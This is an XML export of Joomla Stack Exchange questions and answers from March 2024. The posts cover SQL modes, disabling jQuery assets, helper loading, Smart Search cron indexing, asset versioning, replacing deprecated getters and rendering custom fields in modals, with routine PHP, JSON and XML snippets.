  <row Id="33727" PostTypeId="2" ParentId="33724" CreationDate="2024-03-15T07:40:12.407" Score="1" Body="&lt;p&gt;I'm not sure what's the point of this question since you already know the answer. You are using a string value for an integer column. This is clearly incorrect even if it worked before. The reason this did work in J3 is because the database driver explicitly used non-strict SQL mode. In J4 the driver uses &lt;code&gt;STRICT_TRANS_TABLES&lt;/code&gt;, &lt;code&gt;ERROR_FOR_DIVISION_BY_ZERO&lt;/code&gt;, &lt;code&gt;NO_ENGINE_SUBSTITUTION&lt;/code&gt; modes. And these are still much looser than MySQL's defaults (&lt;code&gt;ONLY_FULL_GROUP_BY&lt;/code&gt;, &lt;code&gt;STRICT_TRANS_TABLES&lt;/code&gt;, &lt;code&gt;NO_ZERO_IN_DATE&lt;/code&gt;, &lt;code&gt;NO_ZERO_DATE&lt;/code&gt;, &lt;code&gt;ERROR_FOR_DIVISION_BY_ZERO&lt;/code&gt; and &lt;code&gt;NO_ENGINE_SUBSTITUTION&lt;/code&gt; on MySQL 8). In the future, SQL modes in Joomla should only get stricter.&lt;/p&gt;&#xA;&lt;p&gt;Furthermore, adding data filtering and validation, and using sane defaults, is not &amp;quot;literally impossible&amp;quot;. It's necessary for a secure and reliable application and ideally should be done from the beginning.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2024-03-15T07:40:12.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33728" PostTypeId="2" ParentId="33722" CreationDate="2024-03-15T08:37:23.120" Score="1" Body="&lt;p&gt;You shouldn't. If jQuery is loaded, it's because something is using it. Disabling it may break some functionality. That said, the API for disabling assets is &lt;code&gt;Joomla\CMS\WebAsset\WebAssetManager::disableAsset()&lt;/code&gt; method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$webAssetManager = $this-&amp;gt;getWebAssetManager();&#xA;&#xA;if ($webAssetManager-&amp;gt;getRegistry()-&amp;gt;exists('script', 'jquery'))&#xA;{&#xA;    $webAssetManager-&amp;gt;disableAsset('script', 'jquery');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But it may not work for a couple of reasons. First, if something re-enables the script after the template has been parsed, e.g. a plugin or a module. This issue can be avoided by running the code during some later plugin event:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;getDispatcher()-&amp;gt;addListener(&#xA;    'onBeforeCompileHead',&#xA;    static function (Joomla\CMS\Event\Application\BeforeCompileHeadEvent $event)&#xA;    {&#xA;        $webAssetManager = $event-&amp;gt;getDocument()-&amp;gt;getWebAssetManager();&#xA;&#xA;        if ($webAssetManager-&amp;gt;getRegistry()-&amp;gt;exists('script', 'jquery'))&#xA;        {&#xA;            $webAssetManager-&amp;gt;disableAsset('script', 'jquery');&#xA;        }&#xA;    }&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But then there's another issue. This method can't be used to disable dependencies. So if jQuery is a dependency of another asset, this will not work at all. There's a dirty workaround to this by overriding the asset using an empty URI. This can be done by adding the asset to your &lt;code&gt;joomla.asset.json&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;quot;assets&amp;quot;: [&#xA;    {&#xA;        &amp;quot;name&amp;quot;: &amp;quot;jquery&amp;quot;,&#xA;        &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;        &amp;quot;uri&amp;quot;: &amp;quot;&amp;quot;&#xA;    }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or it can be done programmatically:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;getWebAssetManager()-&amp;gt;registerAsset('script', 'jquery');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2024-03-15T08:37:23.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33729" PostTypeId="2" ParentId="31669" CreationDate="2024-03-16T10:18:19.977" Score="0" Body="&lt;p&gt;Modules are displayed depending on the menu ID. Blog articles inherit the menu ID of the blog menu item so the same modules are displayed.&lt;/p&gt;&#xA;&lt;p&gt;The normal way around this issue is to create a &amp;quot;hidden&amp;quot; menu item for each blog article which might be a reasonable solution if you don't have too many blog articles.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, a third party extension such as Advanced Module Manager might help.&lt;/p&gt;&#xA;&lt;p&gt;Another option is to create a template override with suitable code to display particular modules depending on whether this is a blog page or an article page and the article ID if needed.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2024-03-16T10:18:19.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33730" PostTypeId="2" ParentId="33716" CreationDate="2024-03-16T13:06:24.913" Score="0" Body="&lt;p&gt;From the description of your component structure, it sounds like it was designed for an older version of Joomla, as it doesn't appear to use namespacing.&lt;/p&gt;&#xA;&lt;p&gt;Namespacing is recommended for Joomla 4 and is required for Joomla 5.&lt;/p&gt;&#xA;&lt;p&gt;You appear to be trying to use a namespace to call the helper file in a component that doesn't use namespaces, so the system fails to find the required file.&lt;/p&gt;&#xA;&lt;p&gt;To call the helper without a namespace, you just &lt;code&gt;require_once()&lt;/code&gt; the file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;require_once(JPATH_COMPONENT . '/helpers/MyHelper.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then your helper methods should be available to you &lt;code&gt;MyHelper::meep()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13268" LastActivityDate="2024-03-16T13:06:24.913" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33731" PostTypeId="1" CreationDate="2024-03-17T17:31:48.597" Score="0" ViewCount="21" Body="&lt;p&gt;I am kinda new to this whole website thing. Definatly dont have much experiance in coding ect, but I have created a whole website with a nicepage paid subscription. I downloaded Joomla and XAMPP. I have tried to import my site several times but nothing seems to change in Joomla. Also don't understand the menu options for Joomla. I guess all around i'm just lost with Joomla. Is there anyone that can help?&lt;/p&gt;&#xA;" OwnerUserId="17686" LastActivityDate="2024-03-18T07:40:07.100" Title="How to integrate Nicepage site on Joomla" Tags="|plugin|development|joomla-api|integration|simplecrm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33732" PostTypeId="2" ParentId="33731" CreationDate="2024-03-18T07:40:07.100" Score="0" Body="&lt;p&gt;You might want to ask a question showing what you have done as per community rules.&lt;/p&gt;&#xA;&lt;p&gt;Given your current question, I suggest you &lt;a href=&quot;https://www.joomla.org/about-joomla/getting-started.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;familiarize yourself with Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then (provided this is what you meant, your &amp;quot;question&amp;quot; is quite obscure) learn about the extension you are using: &lt;a href=&quot;https://nicepage.com/doc/70240/install-joomla-extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; is a first result on a web search&lt;/p&gt;&#xA;&lt;p&gt;Finally, if you are still stuck, get in touch with the above mentioned extension's developers.&lt;/p&gt;&#xA;&lt;p&gt;Should this approach still leave you clueless, please come back here, explain the steps that you took, provide some examples of your failed attempts, and you might get some guidance.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2024-03-18T07:40:07.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33733" PostTypeId="1" CreationDate="2024-03-18T08:25:29.263" Score="0" ViewCount="94" Body="&lt;p&gt;I am trying to create a cron task for the search index in Joomla 4. The PHP file is also called, but an error occurs.&lt;/p&gt;&#xA;&lt;p&gt;I created the cron tasks according to these instructions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Setting_up_automatic_Smart_Search_indexing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Setting_up_automatic_Smart_Search_indexing&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16782/how-to-make-a-cron-job-for-smart-search&quot;&gt;How to make a Cron-job for smart search&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And it looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;php -d memory_limit=512M httpdocs/cli/joomla.php finder:index&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this is the error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Symfony\Component\ErrorHandler\Error\UndefinedFunctionError {#164&#xA;  #message: &amp;quot;Attempted to call function &amp;quot;simplexml_load_file&amp;quot; from namespace &amp;quot;Joomla\CMS\Language&amp;quot;.&amp;quot;&#xA;  #code: 0&#xA;  #file: &amp;quot;.httpdocs/libraries/src/Language/LanguageHelper.php&amp;quot;&#xA;  #line: 614&#xA;  trace: {&#xA;    .httpdocs/libraries/src/Language/LanguageHelper.php:614 {&#xA;      Joomla\CMS\Language\LanguageHelper::parseXMLLanguageFile($path)&#xA;      › // Try to load the file&#xA;      › $xml = simplexml_load_file($path);&#xA;      › &#xA;    }&#xA;    .httpdocs/libraries/src/Language/LanguageHelper.php:516 { …}&#xA;    .httpdocs/libraries/src/Language/Language.php:203 { …}&#xA;    .httpdocs/libraries/src/Language/LanguageFactory.php:35 { …}&#xA;    .httpdocs/libraries/src/Language/CachingLanguageFactory.php:45 { …}&#xA;    .httpdocs/libraries/src/Service/Provider/Application.php:130 { …}&#xA;    .httpdocs/libraries/vendor/joomla/di/src/ContainerResource.php:176 { …}&#xA;    .httpdocs/libraries/vendor/joomla/di/src/Container.php:96 { …}&#xA;    .httpdocs/cli/joomla.php:75 { …}&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Presumably this function is simply for security reasons (unfortunately I hadn't realised at first that different PHP installations are used within the provider's Cron Task UI).&lt;/p&gt;&#xA;&lt;p&gt;Are there alternative ways to make the indexer work automatically?&lt;/p&gt;&#xA;" OwnerUserId="16394" LastEditorUserId="16394" LastEditDate="2024-03-21T09:26:53.463" LastActivityDate="2024-03-21T09:26:53.463" Title="Cannot set up Cron Task for Smart Search in Joomla 4 - Alternative" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33734" PostTypeId="1" CreationDate="2024-03-20T11:57:48.033" Score="0" ViewCount="25" Body="&lt;p&gt;Is there any way to force versioning of specific assets or media types (like &lt;code&gt;.webp&lt;/code&gt; images) on all pages of the CMS? I'd imagine it'd be an extension or something that adds &lt;code&gt;?ver=xyz&lt;/code&gt; type of postfix to HTML and CSS right before it's output, where &lt;code&gt;xyz&lt;/code&gt; is set in the admin panel. I can't find anything related to this problem though.&lt;/p&gt;&#xA;&lt;p&gt;This is to refresh browser cache on demand without the necessity of renaming files.&lt;/p&gt;&#xA;" OwnerUserId="17690" LastActivityDate="2024-03-31T20:31:06.940" Title="How to version assets/images on the entire CMS?" Tags="|joomla-3.x|images|cache|versions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33735" PostTypeId="2" ParentId="33734" CreationDate="2024-03-20T21:08:26.273" Score="3" Body="&lt;p&gt;In Joomla 3 for js and css assets you can add &lt;code&gt;'version'=&amp;gt;'auto'&lt;/code&gt; to the attributes of &lt;code&gt;addStyleSheet&lt;/code&gt; and &lt;code&gt;addScript&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$document-&amp;gt;addStyleSheet(&amp;quot;...demo.css&amp;quot;, array('version'=&amp;gt;'auto'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;as described in &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page#$options_and_$attributes_Parameters&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page#$options_and_$attributes_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 4 the web asset manager does this by default.&lt;/p&gt;&#xA;&lt;p&gt;I'm not aware of any core joomla functionality which adds versioning to images and other types of media, but you may be able to find a joomla extension which supports this.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2024-03-20T21:08:26.273" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33736" PostTypeId="1" AcceptedAnswerId="33737" CreationDate="2024-03-21T06:28:37.323" Score="2" ViewCount="34" Body="&lt;p&gt;In PHP Storm I am always tells me that the CMSObject-&amp;gt;get() function is deprecated and that I should implement my own getter. I would, if I could... This message comes with standard things like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;$item = parent::getItem($pk);&#xA;$params = json_decode($item-&amp;gt;get('params'));&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This call is made within a model, for example. Get the item - Get the params - how should I do it differently? $item is already a &amp;quot;CMSObject&amp;quot; here.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your suggestions. It would be nice if a new Extension would also run on J6 then...&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2024-03-22T00:43:19.663" Title="How to replace deprecated get() Function on CMSObject?" Tags="|joomla-5.x|deprecated|joomla-6.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33737" PostTypeId="2" ParentId="33736" CreationDate="2024-03-22T00:36:16.860" Score="1" Body="&lt;p&gt;This is my getItem (J6) in a single record model example. Hope this helps.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    /**&#xA;     * Method to get an object.&#xA;     * @param   integer $id The id of the object to get.&#xA;     * @return  mixed    Object on success, false on failure.&#xA;     * @throws Exception&#xA;     */&#xA;&#xA;public function getItem($id = null)&#xA;{&#xA;    if ($this-&amp;gt;_item === null) {&#xA;        $this-&amp;gt;_item = false;&#xA;&#xA;        if (empty($id)) {&#xA;            $id = $this-&amp;gt;getState('application.id');&#xA;        }&#xA;&#xA;        // Get a level row instance.&#xA;        $table = $this-&amp;gt;getTable();&#xA;&#xA;        // Attempt to load the row.&#xA;        if ($table-&amp;gt;load($id)) {&#xA;&#xA;            // Check published state.&#xA;            if ($published = $this-&amp;gt;getState('filter.published')) {&#xA;                if (isset($table-&amp;gt;state) &amp;amp;&amp;amp; $table-&amp;gt;state != $published) {&#xA;                    throw new \Exception(Text::_('COM_MYCOMPONENT_ITEM_NOT_LOADED'), 403);&#xA;                }&#xA;            }&#xA;&#xA;            // Convert the Table to a clean Object.&#xA;            $properties  = $table-&amp;gt;getProperties(1);&#xA;            $this-&amp;gt;_item = ArrayHelper::toObject($properties, 'stdClass');&#xA;&#xA;        }&#xA;&#xA;        if (empty($this-&amp;gt;_item)) {&#xA;            throw new \Exception(Text::_('COM_MYCOMPONENT_ITEM_NOT_LOADED'), 404);&#xA;        }&#xA;    }&#xA;&#xA;    if (isset($this-&amp;gt;_item-&amp;gt;created_by)) {&#xA;        $this-&amp;gt;_item-&amp;gt;created_by_name = MycomponentHelper::getSpecificUser($this-&amp;gt;_item-&amp;gt;created_by)-&amp;gt;name;&#xA;    }&#xA;&#xA;    if (isset($this-&amp;gt;_item-&amp;gt;modified_by)) {&#xA;        $this-&amp;gt;_item-&amp;gt;modified_by_name = MycomponentHelper::getSpecificUser($this-&amp;gt;_item-&amp;gt;modified_by)-&amp;gt;name;&#xA;    }&#xA;&#xA;    return $this-&amp;gt;_item;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As for params, I get these from the populateState function.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Load the parameters.&#xA;$params       = Factory::getApplication('com_mycomponent')-&amp;gt;getParams();&#xA;$params_array = $params-&amp;gt;toArray();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="1985" LastEditDate="2024-03-22T00:43:19.663" LastActivityDate="2024-03-22T00:43:19.663" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33739" PostTypeId="2" ParentId="33734" CreationDate="2024-03-25T14:15:18.500" Score="0" Body="&lt;p&gt;You could write a small plugin, or use a plugin that can replace HTML code on the fly.&lt;/p&gt;&#xA;&lt;p&gt;Let it search and replace all instances of &lt;code&gt;.webp&amp;quot;&lt;/code&gt; in the HTML source with &lt;code&gt;.webp?your-own-version-number&amp;quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2024-03-25T14:15:18.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33740" PostTypeId="2" ParentId="24450" CreationDate="2024-03-26T08:42:35.863" Score="0" Body="&lt;p&gt;The cause of this problem is generally caused by some wrong settings in the configuration.php file - make sure that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The $live_site value is set to empty ('') or the actual live website.&lt;/li&gt;&#xA;&lt;li&gt;The $tmp_path is correct&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The issue cause also be related to PHP permission issues, but most likely this is caused by a wrong value in the configuration.php file.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2024-03-26T08:42:35.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33741" PostTypeId="1" CreationDate="2024-03-27T01:48:12.680" Score="0" ViewCount="21" Body="&lt;p&gt;I have a modal button on my component list page which displays details of the record in a popup modal window.  My problem is I want the modal popup to use the same template set in the menu item for the list screen.  ie. my default template is &amp;quot;Cassiopeia Standard&amp;quot; but my menu item for the list view is set to &amp;quot;Cassiopeia Alternate&amp;quot;.  When I click on the modal button, my popup window utilises the default and not the one set to the menu.  I have seen mention of using a parameter to indicate what template/style you want but was wondering if there's an easier way.&#xA;Any suggests how to get this to work as I want it?&lt;/p&gt;&#xA;&lt;p&gt;Updated:&#xA;This is how I generate a modal button using a helper.  In the tmpl file all I need to do is echo the returned html which displays the button.  As you can see I'm getting the template_style_id from the active menu item but was hoping there might be an easier way.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class GamodalHelper&#xA;{&#xA;    /**&#xA;     * Set up modal button&#xA;     * @param   string $type - type of function (task or view)&#xA;     * @param   string $controller - form controller file to use recordform.php&#xA;     * @param   string $field - field used in the url&#xA;     * @param   mixed  $value - of the field to match in the url&#xA;     * @param   string $layout - tmpl layout file to use&#xA;     * @param   string $modname - name of the modal window so is unique should there be more than 1 on a page&#xA;     * @param   string $button - type of button to display (info, success, warning etc)&#xA;     * @param   string $label - text to go on the button if required&#xA;     * @param   string $title - title of the modal to display&#xA;     * @param   string $icon - icon image to show on button&#xA;     * @param   string $name - name that this record is relating to if required&#xA;     *          example $actionBtn = GamodalHelper::setupModalButton('view', 'resreqform', 'id', $this-&amp;gt;item-&amp;gt;id, 'modalact', 'myActModal', 'info', 'Action', 'COM_MYCOMPONENT_ACT_TITLE', $icon, $name);&#xA;     *          then echo $actionBtn; // where you want the button&#xA;     * @return  string  html string for the button&#xA;     */&#xA;    public static function setupModalButton($type, $controller, $field, $value, $layout, $modname, $button, $label, $title, $icon, $name)&#xA;    {&#xA;        $menuitem = Factory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;        // modal form&#xA;        $link = self::getHTTPQuery(null, $type, $controller, $field, $value);&#xA;        $link = self::getHTTPQuery($link, null, null, 'tmpl', 'component');&#xA;        $link = self::getHTTPQuery($link, null, null, 'layout', $layout);&#xA;        $link = self::getHTTPQuery($link, null, null, 'mstyle', $menuitem-&amp;gt;template_style_id);&#xA;        $modalparams = array(&#xA;                        'url' =&amp;gt; 'index.php?'.http_build_query($link, '', '&amp;amp;amp;'),&#xA;                        'title'      =&amp;gt; Text::sprintf($title, $name),&#xA;                        'closeButton'=&amp;gt; true,&#xA;                        'modalWidth' =&amp;gt; 40,&#xA;                        'bodyHeight' =&amp;gt; 35,&#xA;                        'viewHeight' =&amp;gt; 40,&#xA;                        'backdrop'   =&amp;gt; 'static'&#xA;                        );&#xA;        $modalname = 'modal-'.$modname.$value;&#xA;        $html = '&amp;lt;a class=&amp;quot;btn btn-'.$button.'&amp;quot; href=&amp;quot;#'.$modalname.'&amp;quot; data-bs-toggle=&amp;quot;modal&amp;quot;&amp;gt;';&#xA;        $html .= '&amp;lt;i class=&amp;quot;'.$icon.'&amp;quot; title=&amp;quot;'.Text::sprintf($title, $name).'&amp;quot;&amp;gt;&amp;lt;/i&amp;gt; '.Text::_($label).'&amp;lt;/a&amp;gt;';&#xA;        &#xA;        $html .= HTMLHelper::_('bootstrap.renderModal', $modalname, $modalparams);&#xA;&#xA;        return $html;&#xA;&#xA;    }&#xA;&#xA;    /**&#xA;     * Build the HTTP query array&#xA;     * @param array of the http query if the http query already prepared and we want to add more&#xA;     * @param string view or a task&#xA;     * @param string control method to be used&#xA;     * @param string reference indicator&#xA;     * @param string/int reference string or id&#xA;     * @return array&#xA;     * @ hint - this is used with http_build_query($query_string, '', '&amp;amp;amp;') to build a clean url&#xA;     */&#xA;    public static function getHTTPQuery($existQ = null, $viewTask = 'view', $contModel = 'motion', $ref = 'id', $linkId = 0)&#xA;    {&#xA;        if ($contModel == 'article') {&#xA;            $compName = 'com_content';&#xA;        } else {&#xA;            $compName = 'com_mycomponent';&#xA;        }&#xA;        if (!$existQ) {&#xA;            $query_string = array();&#xA;            $query_string['option'] = $compName;&#xA;            $query_string[$viewTask] = $contModel;&#xA;            if ($ref) {&#xA;                $query_string[$ref] = $linkId;&#xA;            }&#xA;        } else {&#xA;            $query_string = $existQ;&#xA;            $query_string[$ref] = $linkId;&#xA;        }&#xA;&#xA;        return $query_string;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="1985" LastEditDate="2024-03-28T23:07:02.350" LastActivityDate="2024-03-28T23:07:02.350" Title="Modal Popup to use Menu template" Tags="|joomla-4.x|templates|joomla-5.x|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33742" PostTypeId="1" CreationDate="2024-03-27T13:37:04.913" Score="1" ViewCount="27" Body="&lt;p&gt;Is there any difference in these two inside a frontend controller?&lt;br /&gt;&#xA;Performance or memory wise? In the end both are doing &lt;code&gt;createModel&lt;/code&gt;, right?&#xA;Thanks!&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model = $this-&amp;gt;getModel('Object', 'Site');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;vs&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model = $app-&amp;gt;bootComponent('com_mycomp')-&amp;gt;getMVCFactory()-&amp;gt;createModel('Object', 'Site', ['ignore_request' =&amp;gt; true]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2024-04-05T07:52:33.490" Title="Getting a model in the controller" Tags="|model|controller|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33743" PostTypeId="2" ParentId="31964" CreationDate="2024-03-28T18:15:28.723" Score="0" Body="&lt;p&gt;Zentools and Zentools 2 are different extensions. I did ask the current owner of the Joomlabamboo (JoomlArt) if they would update the Zentools2 extension to Joomla 4. They said no.&lt;/p&gt;&#xA;&lt;p&gt;The closest replacement that I am aware of is &lt;a href=&quot;https://yootheme.com/widgetkit-joomla-gallery&quot; rel=&quot;nofollow noreferrer&quot;&gt;Widgetkit by Yootheme&lt;/a&gt;. I have not yet tried it, but it allows most of the flexibility that Zentool2 has. It is being maintained and is compatible with Joomla 4 and 5.&lt;/p&gt;&#xA;&lt;p&gt;If you were looking for something specific to create and have some HTML coding skills, you could use the pro version of &lt;a href=&quot;https://regularlabs.com/articlesanywhere&quot; rel=&quot;nofollow noreferrer&quot;&gt;ArticlesAnywhere from Regular Labs&lt;/a&gt; and the framework that your template uses (Bootstrap is the most common but your template docs should tell you). You would use ArticlesAnywhere to fetch the data; use the framework's docs to create the visual effects. This is a bit more effort, but it could be closer to what you want.&lt;/p&gt;&#xA;" OwnerUserId="17701" LastEditorUserId="17701" LastEditDate="2024-03-28T18:16:01.963" LastActivityDate="2024-03-28T18:16:01.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33745" PostTypeId="1" CreationDate="2024-03-29T04:21:50.617" Score="0" ViewCount="19" Body="&lt;p&gt;I'm lost with utilising com_fields in my component so that my users can create a custom field for a specific purpose and have it rendered in a modal popup.&lt;/p&gt;&#xA;&lt;p&gt;So I have my component setup with a dashboard and the option for admins to create custom fields and groups, this all works fine and dandy.  In the admin side edit.php of an item I can actually see a list of custom fields available that have been created and select one from the list as a reference to the specific item.  Now I wish to display/render the chosen field in my modal popup.  I assumed I should be able to use the following to render the field like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('id'); ?&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('field_id'); ?&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('user_id'); ?&amp;gt;&#xA;    &amp;lt;?php if ($this-&amp;gt;item-&amp;gt;field_id) : ?&amp;gt;&#xA;        &amp;lt;?php $fields = FieldsHelper::getFields('com_mycomponent.recordform', $this-&amp;gt;item, true); ?&amp;gt;&#xA;        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField($fields[0]-&amp;gt;name); ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My tmpl file is called modalrec.php and the model being used is recordform.php.  I've seen mention of needing to have a plugin to trigger an event which I don't understand.  Surely if I have the fields setup (in this case a radio field with 3 options) I can simply get the field and show the options available.  But alas I can't see it.  Any guidance appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2024-03-30T01:10:32.483" Title="J5 - Utilising com_fields in component" Tags="|custom-component|joomla-5.x|com-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33746" PostTypeId="2" ParentId="33745" CreationDate="2024-03-29T07:34:46.310" Score="0" Body="&lt;p&gt;Well I think I have it although if anyone else can suggest a better way, please do.  So basically I have create xml entry for the field and have an empty fieldset/group in the form xml proper.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php if ($this-&amp;gt;item-&amp;gt;field_id) : ?&amp;gt;&#xA;            &amp;lt;?php $fields = FieldsHelper::getFields('com_mycomponent.motionform', $this-&amp;gt;item-&amp;gt;field_id, true); ?&amp;gt;&#xA;            &amp;lt;?php &#xA;                $options = '';&#xA;                foreach ($fields as $fld) {&#xA;                    if ($fld-&amp;gt;id == $this-&amp;gt;item-&amp;gt;field_id) {&#xA;                        $opts = ArrayHelper::fromObject($fld-&amp;gt;fieldparams-&amp;gt;get('options'));&#xA;                        $fldParams = json_decode($fld-&amp;gt;params);&#xA;                        foreach ($opts as $opt) {&#xA;                            $options .= '&amp;lt;option value=&amp;quot;'.$opt['value'].'&amp;quot;&amp;gt;'.Text::_($opt['name']).'&amp;lt;/option&amp;gt;';&#xA;                        }&#xA;                        $xmlFld = new SimpleXMLElement(&#xA;                            '&amp;lt;field name=&amp;quot;'.$fld-&amp;gt;name.'&amp;quot; type=&amp;quot;'.$fld-&amp;gt;type.'&amp;quot; class=&amp;quot;'.$fldParams-&amp;gt;class.'&amp;quot; label=&amp;quot;&amp;quot; description=&amp;quot;&amp;quot; &amp;gt;'.$options.'&amp;lt;/field&amp;gt;'&#xA;                        );&#xA;                        $this-&amp;gt;form-&amp;gt;setField($xmlFld,'custfldmotions',true,'custflds');&#xA;                    }&#xA;                }&#xA;            ?&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('custflds'); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And in the form xml we have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA; . . . .&#xA;&amp;lt;fieldset name=&amp;quot;custflds&amp;quot;&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;custfldmotions&amp;quot;&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="1985" LastEditDate="2024-03-30T01:10:32.483" LastActivityDate="2024-03-30T01:10:32.483" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
